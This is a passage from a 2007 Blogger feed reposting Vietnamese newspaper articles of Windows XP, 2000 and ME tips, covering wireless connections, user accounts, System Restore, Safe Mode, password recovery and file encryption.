dây:&lt;/p&gt; &lt;p class="pBody"&gt;Khi bạn cắm một thiết bị mạng không dây vào máy tính, Windows XP sẽ hiển thị hộp thoại Connect to Wireless Network. Nếu nó không xuất hiện, bạn nhấp phải chuột lên biểu tượng wireless – network ở khay hệ thống, và chọn View Available Wireless Networks. Nếu bạn không thấy xuất hiện biểu tượng này ở khay hệ thống, bạn vào cửa sổ Explorer trên thanh Address nhập vào Control Panel\ Network Connections, và nhấp phải chuột lên biểu tượng Wireless Network Connection. Chọn kết nối không dây và  nhấn Connect.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;35. (XP) Nối đến mạng không dây không an toàn:&lt;/p&gt; &lt;p class="pBody"&gt; &lt;table style="border-collapse: separate;" align="right" border="0" cellpadding="0" cellspacing="0" width="40"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.tuoitre.com.vn/Tianyon/ImageView.aspx?ThumbnailID=26403" hyperlink="" border="1" height="150" hspace="0" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Nếu nút Connect bị vô hiệu hóa (có màu xám) ở hộp thoại Wireless Network Connection, lúc đó mạng có thể không có tính năng an toàn Wired Equivalent Privacy hoặc tính năng này mới hơn Wi-Fi Protected Access. Để bỏ qua chức năng này bạn đánh dấu vào Allow me to connect to the selected wireless network, even though it is not secure(xem hình 3). Nên nhớ rằng việc làm này của bạn có thể làm bạn gặp phải một số rủi ro.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;36. (XP) Tự cấu hình mạng không dây:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Thông thường Windows cấu hình mạng không dây cho bạn tự động (nó được gọi là Wireless Zero Configuration), nhưng nếu thiết bị không dây có driver riêng cho nó, bạn cần phải tắt tính năng này của Windows đi. Để làm điều này, nhấn đúp chuột lên biểu tượng Wireless Network Connection của cửa sổ Network Connection (mô tả ở mục 34), hoặc nhấn lên biểu tượng được thu nhỏ ở khay hệ thống, Chọn Properties, và trong hộp thoại Wireless Network Connection Properties , nhấn lên Wireless Networks. Bỏ đánh dấu ở Use Windows to configure my wireless network settings  và nhấn OK(xem hình 4).&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;37. (XP) Chuyển nhanh giữa các tài khoản:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu máy của bạn có đủ vùng nhớ, bạn có thể chuyển qua lại giữa các tài khoản mà không cần phải log off ra khỏi account đang sử dụng. Để làm điều này bạn nhấn Start, Log off, Switch User. Điều này giúp tiết kiệm thời gian khi chỉ cần một số thao tác nhỏ có thể chuyển qua một tài khoản khác. Nhưng bạn đừng nên tạo ra thói quen này vì nó sẽ làm cho hệ thống của bạn chậm, đặc biệt khi bạn đang chạy những chương trình lớn chẳng hạn như Game, các tiện ích hệ thống, và ứng dụng khác.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;38. (XP) Vô hiêu hóa chức năng chuyển nhanh giữa các tài khoản người dùng:&lt;/p&gt; &lt;p class="pBody"&gt;Có một số nhược điểm khi thực hiện Fast User Switching. Với đặc điểm này bạn sẽ không thể sử dụng được chức năng Offline Files của Windows, chức năng này là chức năng tự động download các trang web để bạn xem ngoại tuyến. Để tắt chức năng Fast User Switching, bạn vào cửa sổ Explorer hoặc Internet Explorer và nhập vào Control panel \ Use Accounts ở thanh Address , sau đó nhấn Enter. Nhấn chọn Change the way users log on or off, bỏ đánh dấu ở mục User Fast User Switching và cuối cùng nhấn Apply Options.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;39. (XP) Vô hiệu hóa tài khoản thay vì xóa chúng:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Nếu một người đi xa không sử dụng tài khoản của họ, đừng nên xoá tài khoản đó đi vì lý do bảo mật. Sau này, khi tạo lại tài khoản với tên như vậy, nó sẽ không có đầy đủ quyền như trước nữa, cũng như nó không cho truy cập vào các tập tin mã hóa trước đó(xem mục 22). Nếu bạn cho là những người này có thể sử dụng lại những tài khoản đó, bạn có thể vô hiệu hoá các tài khoản này thay vì xoá nó đi (nên nhớ rằng chức năng này không sử dụng được cho Windows XP Home): nhấn Window-R, gõ lệnh lusrmgr.msc và nhấn Enter. Chọn vào biểu tượng của thư mục Users, và nhấn đúp chuột lên tên của người dùng tài khoản mà bạn muốn vô hiệu hoá. Đánh dấu lên Account is disabled  và nhấn OK(Xem hình 5), để phục hồi tài khoản này đơn giản bạn chỉ cần bỏ đánh dấu đi.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;40. (XP) Cứu tập tin từ một tài khoản bị xóa:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn chắc chắn rằng sẽ không cần tài khoản đã đề cập ở trên nữa, bạn có thể xóa nó đi nhưng vẫn giữ lại các tập tin trong thư mục cá nhân. Đầu tiên, bạn đăng nhập vào Windows với quyền quản trị, ở thanh Address của cửa sổ Explorer hoặc Internet Explorer nhập vào Control Panel\User Accounts và nhấn Enter. Tiếp theo chọn tên tài khoản muốn xoá, chọn Delete the account, nhấn Keep Files, và cuối cùng chọn Delete Account. Mặc dù tài khoản đã bị xoá đi nhưng tất cả các tập tin ở màn hình desktop, và thư mục My Documents sẽ được đặt trong một thư mục mới trên desktop của tài khoản người quản trị, nhưng hãy nhớ rằng tất cả các email hoặc các cài đặt khác ứng với tài khoản trên sẽ bị mất đi vĩnh viễn.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;41. (XP) Run your ancient apps (XP):&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt; &lt;table style="border-collapse: separate;" align="right" border="0" cellpadding="0" cellspacing="0" width="40"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.tuoitre.com.vn/Tianyon/ImageView.aspx?ThumbnailID=26404" hyperlink="" border="1" height="150" hspace="0" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Nếu có một ứng dụng thuộc phiên bản trước không chạy được trên Windows XP (và bạn không có một bản cập nhận nào của phần mềm này), nhấp phải chuột lên biểu tượng shortcut của chương trình này và chọn Properties. Chọn Compatibility, Run this program in compatibility mode for, và chọn phiên bản Windows thích hợp (xem hình 6), nhấn OK. Cảnh báo an toàn: đừng bao giờ chạy một chương trình diệt virus, một chương trình dồn đĩa, hoặc bất kỳ ứng dụng tiện ích nào dưới một phiên bản của Windows mà không dành cho nó. Việc này có thể làm hỏng hệ thống.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;42. Sửa các uninstraller bị hỏng:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn muốn gỡ bỏ một chương trình nào đó bằng cách sử dụng Add or Remove Programs trong Control Panel, nhưng chương trình uninstaller không chạy, nguyên nhân là do một số hoặc tất cả các tập tin của nó đã bị xoá. Đơn giản bạn chỉ cần cài đặt lại chương trình đó vào đúng thư mục củ và sử dụng Add or Remove Programs  lại để gỡ nó ra.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;43. Cập nhật driver cho card đồ họa:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Có nhiều trục trặc phổ biến trong Windows được tìm ra nguyên nhân là do những lỗi của các driver của card đồ hoạ gây ra, có thể các driver này bị hỏng, hoặc lỗi thời. Nếu bạn không tìm ra cách giải quyết các vấn đề này, bạn nên vào trang web của hãng sản xuất ra card đồ hoạ mà bạn đang sử dụng để download về driver thích hợp cho card đồ hoạ của bạn.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;44. (2K, ME, XP) Tháo thiết bị an toàn:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Bạn có thể cắm vào và tháo ra các thiết bị ngoại vi (như cameras) mà không xảy ra vấn đề gì. Tuy nhiên có vài thiếc bị khi bạn thực hiện thao tác cắm và tháo, nó sẽ gây ra những rủi ro lớn đến máy vi tính làm ảnh hưởng đến tính ổn định của PC. Chẳng hạn như bạn tháo một card mạng ra từ một máy notebook, hoặc một ổ cứng gắn cắm ngoài, việc này sẽ làm mất dữ liệu, nếu các dữ liệu này vẫn còn đang được truy xuất. Để giải quyết các vấn đề này, bạn cần nhấp phải chuột lên biểu tượng Safely Remove Hardware trên khay hệ thống (đầu tiên có thể bạn cần nhấn vào biểu tượng mũi tên Show hidden icons). Từ trình đơn xuất hiện bạn chọn thiết bị phần cứng cần được tháo ra, lúc này bạn có thể tháo thiết bị ra. Nếu bạn không muốn hiển thị popup-menu bạn có thể nhấp đúp chuột lên biểu tượng Safely Remove Hardware lúc này sẽ xuất hiện một hộp thoại để bạn thao tác.&lt;/p&gt; &lt;p class="pBody"&gt;&lt;em&gt;Còn nữa&lt;/em&gt;&lt;/p&gt; &lt;p style="text-align: right;" class="pAuthor"&gt;&lt;span style="font-style: italic;"&gt;BẢO TOÀN-TUỔI TRẺ&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-5567540085300821077?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/5567540085300821077/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-cc-th-thut-v-mng.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5567540085300821077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/5567540085300821077'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-cc-th-thut-v-mng.html' title='76 mẹo vặt trong Windows: Các thủ thuật về mạng'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2731526308459165565</id><published>2007-09-12T08:49:00.003+07:00</published><updated>2007-09-12T08:49:45.250+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='76 mẹo vặt trong Windows'/><title type='text'>76 mẹo vặt trong Windows: Sửa chữa nhanh</title><content type='html'>&lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;24. (ME, XP) Quay ngược thời gian:&lt;/span&gt; &lt;/p&gt; &lt;p class="pHead"&gt;TTO - Khi máy tính của bạn có những hành động khác lạ, bạn hãy sử dụng System Restore để quay lại trạng thái ổn định trước đó. Chọn Start, Programs (All Programs nếu là Windows XP), Accessories, System Tools, System Restore, chọn Restore my computer to an earlier time, Next, và thực hiện theo những hướng dẫn.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;25. (ME, XP) Đặt điểm phục hồi cho hệ thống:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Bất kỳ khi nào bạn muốn thay đổi hệ thống, bạn nên tạo một điểm phục hồi hệ thống trước khi bắt đầu để nếu có lỗi thì cũng có thể lấy lại tình trạng này. Mở &lt;em&gt;System Restore&lt;/em&gt; như đã mô tả ở mục trước, chọn &lt;em&gt;Create a Restore Point,&lt;/em&gt; nhấn &lt;em&gt;Next&lt;/em&gt;, và thực hiện theo những hướng dẫn xuất hiện. Lưu ý: tạo điểm phục hồi bằng tay như trên thì không cần thiết trước khi bạn cài đặt phần mềm, cập nhật hoặc cài đặt thiết bị, Windows sẽ làm việc này một cách tự động dùm bạn.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;26. (XP) Tùy biến chức năng phục hồi, phần 1:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Để chọn ổ đĩa cho &lt;em&gt;System Restore&lt;/em&gt; theo dõi sự thay đổi của hệ thống và cài đặt dung lượng của đĩa được dùng cho việc sao lưu này. Bạn nhấp phải chuột lên &lt;em&gt;My Computer&lt;/em&gt; và chọn &lt;em&gt;Properties.&lt;/em&gt; Chọn thẻ &lt;em&gt;System Restore&lt;/em&gt;, lựa ổ đĩa, nhấn &lt;em&gt;Settings&lt;/em&gt; và đặc cấu hình theo ý muốn của bạn.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;27. (ME) Tùy biến chức năng phục hồi, phần 2:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Điều chỉnh dung lượng đĩa &lt;u&gt;System Restore&lt;/u&gt; sử dụng để sao lưu trong Windows Me thì khác hơn một chút. Nhấp phải chuột trên &lt;em&gt;My Computer&lt;/em&gt;, chọn &lt;em&gt;Properties, Performance, File System&lt;/em&gt;, và phía dưới &lt;em&gt;Hard disk&lt;/em&gt;, bạn kéo thanh trượt &lt;em&gt;System Restore disk space user&lt;/em&gt; để chọn dung lượng bạn mong muốn. Lưu ý, nhấn &lt;em&gt;Disable System Restore&lt;/em&gt; trong thẻ &lt;em&gt;Troboleshooting&lt;/em&gt; của &lt;em&gt;System Properties&lt;/em&gt; để tắt chức năng &lt;em&gt;System Restore&lt;/em&gt; đi.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;28. Tìm giải pháp trong Safe Mode:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu Windows của bạn bị treo hay thực hiện một số hành động không đúng. Khởi động lại máy, và nhấn &lt;em&gt;F8&lt;/em&gt; trước khi vào Windows (bạn có thể nhấn nhiều lần đến khi Windows nhận được yêu cầu này). Khi đó sẽ xuất hiện một trình đơn &lt;em&gt;Advance Options&lt;/em&gt;. Sử dụng các phím di chuyển để chọn &lt;em&gt;Safe Mode&lt;/em&gt;, rồi nhấn Enter để chạy Windows với một số lượng driver hạn chế. Nếu gặp may, bạn có thể bỏ đi hành động gây ra lỗi đó và khởi động lại máy.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;29. (2K, XP) Phục hồi với Registry:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn khởi động Windows ở chế độ &lt;em&gt;Safe Mode&lt;/em&gt; nhưng không giải quyết được các vấn đề gây ra sự cố ở Windows. Bạn cũng truy cập vào trình đơn &lt;em&gt;Advanced Option&lt;/em&gt; như mục 28, nhưng chọn &lt;em&gt;Last Known Good Configuration&lt;/em&gt; và nhấn &lt;em&gt;Enter&lt;/em&gt;. Việc khởi động Windows như thế này sẽ sử dụng phiên bản sau cùng của Registry, đây là phiên bản Windows khởi động thành công. Sẽ không có tập tin nào bị &lt;em&gt;Remove.&lt;/em&gt;&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;30. (2K, XP) Chép các thông báo lỗi:&lt;/p&gt; &lt;p class="pBody"&gt;Khi Windows cảnh báo với bạn là có vài vấn đề rắc rối, không điều khiển được. Nếu bạn muốn giữ lại các lời thông báo này để gởi tới bộ phận kỹ thuật, hoặc các nhân viên sửa chửa.  Nhấn &lt;em&gt;Ctrl - C&lt;/em&gt; để sao chép các thông báo này vào &lt;em&gt;Clipboard,&lt;/em&gt; sau đó mở email gửi đến bộ phận kỹ thuật của bạn, nhấn &lt;em&gt;Ctrl – V&lt;/em&gt; để dán nội dung thông báo này vào email, và gửi đi.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;31. Chụp ảnh thông báo lỗi:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn không thể lấy được các thông báo lỗi như ở phần trên, nhấn &lt;em&gt;Alt - Print Screen&lt;/em&gt; (tên của phím này có thể được viết tắt trên bàn phím của bạn) để ghi lại hình ảnh của hộp thoại thông báo lỗi. Đưa chúng vào email (nếu có hỗ trợ đồ hoạ) hoặc vào trong công cụ xử lý văn bản. Bạn có thể dán nó vào trong tiện ích xử lý ảnh Paint của Windows bằng cách mở chương trình này và chọn &lt;em&gt;Edit, Paste.&lt;/em&gt; Lưu hình này dưới dạng tập tin ảnh gif hoặc bmp,…  tùy bạn. Sau đó đính kèm tập tin này vào email rồi gởi đi.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;32. Tìm giúp đỡ trong Google Groups:&lt;/p&gt; &lt;p class="pBody"&gt;Để tìm sự giúp đỡ trên mạng, bạn nhập vào vài từ hay tất cả từ trong thông báo lỗi của Windows vào trong ô nhập liệu của màn hình tìm kiếm chính của Google. Nếu chúng cũng không giúp đỡ được bạn sửa lỗi này, nhấn chọn thẻ Groups trên trang hiển thị kết quả tìm kiếm của Google bạn có thể tìm thấy các thảo luận có liên quan đến vấn đề của bạn.&lt;/p&gt; &lt;p class="pBody"&gt;&lt;em&gt;Còn nữa&lt;/em&gt;&lt;/p&gt; &lt;div style="text-align: right;"&gt;&lt;span style="font-style: italic;"&gt;BẢO TOÀN-TUỔI TRẺ&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2731526308459165565?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2731526308459165565/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-sa-cha-nhanh_12.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2731526308459165565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2731526308459165565'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-sa-cha-nhanh_12.html' title='76 mẹo vặt trong Windows: Sửa chữa nhanh'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7728327114502240303</id><published>2007-09-12T08:47:00.001+07:00</published><updated>2007-09-12T08:47:40.798+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='76 mẹo vặt trong Windows'/><title type='text'>76 mẹo vặt trong Windows: Bảo mật là trên hết</title><content type='html'>&lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;16. (XP) Bảo vệ Password:&lt;/span&gt; &lt;/p&gt; &lt;p class="pHead"&gt;TTO - Tin vào bạn bè, nhưng giữ lại các thẻ. Tin vào trí nhớ của mình, nhưng bạn phải luôn giữ bên mình đĩa thiết lập lại password cho trường hợp bạn quên Password của Windows XP. Đầu tiên, bạn phải có một đĩa mềm trống đã được định dạng, và nhập Control &lt;em&gt;Panel\ User Accounts&lt;/em&gt; vào thanh &lt;em&gt;Address&lt;/em&gt; của cửa sổ Explorer hoặc Internet Explorer. &lt;/p&gt; &lt;p class="pBody"&gt;Nhấn &lt;em&gt;Enter&lt;/em&gt;, lựa &lt;em&gt;Account &lt;/em&gt;của bạn, nhấn &lt;em&gt;Prevent a forgotten password&lt;/em&gt;  trong danh sách &lt;em&gt;Related Tasks&lt;/em&gt;, và sau đó thực hiện các bước được mô tả cụ thể trong &lt;em&gt;Forgtoten Password Wizard.&lt;/em&gt;&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;17. (XP) Xử lý khi quên password, phần 1:&lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn không có đĩa thiết lập lại password, đăng nhập vào hệ điều hành với một account quản trị khác, mở &lt;em&gt;User Accounts&lt;/em&gt; trong &lt;em&gt;Control Panel &lt;/em&gt;(mục 16), chọn account mà bạn quên password, chọn &lt;em&gt;Change the password&lt;/em&gt;, và thực hiện các hướng dẫn sau đó để cài  lại password.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;18. (XP) Xử lý khi quên password, phần 2:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Nếu bạn không có bất kỳ account quản trị nào khác, khởi động lại máy nhấn phím F8 cho đến khi bạn thấy màn hình cho phép chọn chế độ để khởi động (mục 28). Bạn chọn khởi động ở chế độ &lt;em&gt;Safe mode&lt;/em&gt;, và nhấn &lt;em&gt;Enter&lt;/em&gt;. Khi thấy màn hình Welcome xuất hiện, chọn Administrator (đây là một account ẩn mặc định không cần password). Thực hiện các bước để đặt lại password, khởi động lại máy.&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;19. (2K, XP) Power User:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt;Khi bạn đăng nhập vào máy với quyền quản trị, hệ thống của bạn có thể bị tấn công bởi các chương tình Trojan horse hoặc những rủi ro khác. Khi bạn đăng nhập vào máy với quyền &lt;em&gt;Power User,&lt;/em&gt; bạn có thể tránh được những rủi ro này và  sử dụng được đầy đủ các tính năng của windows (bạn có thể chuyển qua quyền &lt;em&gt;Administrator&lt;/em&gt; một cách dễ dàng khi cần thiết, xem phân dưới). Để giảm quyền, bạn chọn &lt;em&gt;Start, Run&lt;/em&gt;, nhập lệnh &lt;em&gt;lusrmgr.msc&lt;/em&gt; và nhấn &lt;em&gt;Enter&lt;/em&gt;. Chọn &lt;em&gt;Groups&lt;/em&gt; và nhấn đúp chuột lên &lt;em&gt;Administrator&lt;/em&gt;s. Nhưng bắt buột bạn phải có một account được liệt kê ở danh sách Members mà bạn có thể dùng khi cần đầy đủ các quyền của người quản trị. Chọn account muốn giảm quyền, chọn &lt;em&gt;Remove,&lt;/em&gt; và nhấn &lt;em&gt;OK,&lt;/em&gt; Nhấp đúp chuột lên &lt;em&gt;Power Users,&lt;/em&gt; nhấn &lt;em&gt;Add,&lt;/em&gt; đánh tên A&lt;em&gt;ccount&lt;/em&gt; của bạn, và nhấn &lt;em&gt;OK&lt;/em&gt; lần thứ 2.&lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;20. Làm người quản trị không thường xuyên:&lt;/p&gt; &lt;p class="pBody"&gt;Power user không cần phải đăng xuất và đăng nhập trở lại để quay lại với quyền quản trị nhằm chạy những chương trình chỉ thực thi được dưới quyền này. Để làm điều này, giữ phím &lt;em&gt;Shift&lt;/em&gt; và nhấn phải chuột lên chương trình có thể thực thi (*.exe) ở cửa sổ Explorer hoặc bất kỳ shortcut nào của nó. Chọn &lt;em&gt;Run as&lt;/em&gt;, sau đó lựa &lt;em&gt;Run the program as the following user&lt;/em&gt; (nếu trong Windows 2000) hoặc &lt;em&gt;The Following User (trong Windows XP),&lt;/em&gt; và nhập vào username, password (chọn domain nều cần) của một account có quyền quản trị, rồi nhấn &lt;em&gt;OK&lt;/em&gt;&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;21. (XP) Chọn hành động cho máy quay:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt; &lt;table style="border-collapse: separate;" align="right" border="0" cellpadding="0" cellspacing="0" width="40"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.tuoitre.com.vn/Tianyon/ImageView.aspx?ThumbnailID=26119" hyperlink="" border="1" height="150" hspace="0" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Lúc đầu khi kết nối một máy quay kỹ thuật số với máy tính của mình, bạn có thể chọn một thao tác và đánh dấu &lt;em&gt;Always user this program for this action&lt;/em&gt; để tránh những lời gợi ý sẽ xuất hiện sau này khi kết nối. Nhưng nếu bạn muốn thay đổi thành một hành động khác? Để thực hiện điều này, kết nối lại với máy quay,  nhấp phải chuột lên biểu tượng của nó trên cửa sổ &lt;em&gt;Explorer, &lt;/em&gt;chọn&lt;em&gt; Properties&lt;/em&gt;. Sử dụng các cài đặt hiển thị trong thẻ &lt;em&gt;Events &lt;/em&gt;để chọn hành động hệ điều hành sẽ thực hiện khi kết nối với máy quay. &lt;/p&gt; &lt;p style="font-weight: bold;" class="pInterTitle"&gt;22. (XP Pro) Giữ các bí mật:&lt;/p&gt; &lt;p class="pBody"&gt;Để bảo vệ các tập tin và thư mục có thông tin nhạy cảm trong các ổ đĩa có định dạng &lt;em&gt;NTFS&lt;/em&gt;, sử dụng những chương trình mã hoá của Windows. Chọn những tập tin và thư mục không nén để mã hoá, nhấp phải chuột lên chúng, và chọn&lt;em&gt; Properties&lt;/em&gt;. Trên thẻ General, chọn &lt;em&gt;Advanced&lt;/em&gt;. Đánh dấu vào &lt;em&gt;Encrypt contents to secure data&lt;/em&gt; và nhấn &lt;em&gt;OK.&lt;/em&gt; Chỉ ra các tập tin và thư mục được thực hiện. Các tập tin và thư mục này chỉ có thể được truy xuất bởi người dùng mã hoá chúng. Để gở bỏ tính năng này, bỏ đánh dấu lên &lt;em&gt;Encrypt contents to secure data&lt;/em&gt;. (việc mã hoá này không có ở Windows XP Home).&lt;/p&gt; &lt;p class="pInterTitle"&gt;&lt;span style="font-weight: bold;"&gt;23. Không hiển thị thông tin cá nhân với người dùng khác:&lt;/span&gt; &lt;/p&gt; &lt;p class="pBody"&gt; &lt;table style="border-collapse: separate;" align="right" border="0" cellpadding="0" cellspacing="0" width="40"&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;img src="http://www.tuoitre.com.vn/Tianyon/ImageView.aspx?ThumbnailID=26122" hyperlink="" border="1" height="150" hspace="0" width="200" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Bất kỳ người quản trị nào cũng đều thấy các tập tin trên màn hình destop hoặc trong thư mục My documents của bạn, và ngay cả ở thư mục cá nhân của bạn bằng cách tìm trong thư mục &lt;em&gt;Document &lt;/em&gt;và &lt;em&gt;Setting&lt;/em&gt;. Mẹo này chỉ có tác dụng trên những ổ đĩa có định dạng NTFS. Đầu tiên mở thư mục &lt;em&gt;Documents&lt;/em&gt; hoặc &lt;em&gt;Setting,&lt;/em&gt; nhấp phải chuột lên thư mục mà bạn muốn giữ riêng, chọn &lt;em&gt;Properties.&lt;/em&gt; Nhấn &lt;em&gt;Sharing&lt;/em&gt;, đánh dấu lên nhãn &lt;em&gt;Make this folder private&lt;/em&gt;, và chọn &lt;em&gt;OK.&lt;/em&gt;&lt;/p&gt; &lt;p class="pBody"&gt;&lt;em&gt;Còn nữa&lt;/em&gt;&lt;/p&gt; &lt;p style="text-align: right;" class="pAuthor"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;span style="font-style: italic;"&gt;BẢO TOÀN-TUỔI TRẺ&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7728327114502240303?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7728327114502240303/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-bo-mt-l-trn-ht.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7728327114502240303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7728327114502240303'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2007/09/76-mo-vt-trong-windows-bo-mt-l-trn-ht.html' title='76 mẹo vặt trong Windows: Bảo mật là trên hết'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-6614267993789787019</id><published>2007-09-12T08:44:00.000+07:00</published><updated>2007-09-12T08:44:49.332+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='76 mẹo vặt trong Windows'/><title type='text'>76 mẹo vặt trong Windows: Các thủ thuật đối với file</title><content type='html'>&lt;p style="text-align: justify;" class="pHead"&gt;&lt;span style="font-weight: bold;"&gt;TTO&lt;/span&gt; - Một số phương pháp dễ dàng và nhanh gọn để &lt;em&gt;thuần phục&lt;/em&gt; Windows,… từ việc hiệu chỉnh tốc độ đến kiểm tra bảo mật hay các thủ thuật giải quyết hỏng hóc. Phần I, chúng tôi xin giới thiệu các thủ thuạt đối với file.&lt;/p&gt;&lt;div&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;&lt;strong&gt;1. Làm xuất hiện lại cây thư mục:&lt;/strong&gt; &lt;/p&gt;&lt;div style="text-align: left;"&gt; &lt;/div&gt;&lt;p style="text-align: left;" class="pBody"&gt;Bạn mở một folder, nhưng không có thấy cây thư mục nào xuất hiện bên trái cửa sổ cả. Bạn chỉ cần click lên biểu tượng Folders nằm trên thanh công cụ chuẩn (&lt;em&gt;Standard Toolbar&lt;/em&gt;) nếu bạn sử dụng Windows 2000, Me, XP, hoặc chọn 